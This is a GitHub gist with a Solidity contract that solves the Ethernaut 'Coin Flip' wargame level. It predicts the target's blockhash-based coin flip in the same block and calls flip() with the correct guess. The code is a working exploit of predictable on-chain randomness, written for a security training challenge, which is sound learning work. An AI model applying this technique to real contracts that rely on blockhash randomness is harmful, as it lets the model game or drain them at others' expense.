Skip to content

Instantly share code, notes, and snippets.

@Chirag21
Last active December 14, 2022 17:51
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Chirag21/1e15774696861e3fed8fd3a4f8cda6b9 to your computer and use it in GitHub Desktop.
Save Chirag21/1e15774696861e3fed8fd3a4f8cda6b9 to your computer and use it in GitHub Desktop.
Solution for Ethernaut Level 3 - Coin Flip. For Remix IDE
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
interface ICoinFlip {
function consecutiveWins() external view returns (uint256);
function flip(bool) external returns (bool);
}
contract CoinFlipHack {
function hack() external {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 factor = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
uint256 flip = blockValue / factor;
bool guess = flip == 1 ? true : false;
ICoinFlip coinFlip = ICoinFlip(PUT_INSTANCE_ADDRESS_HERE);
coinFlip.flip(guess);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment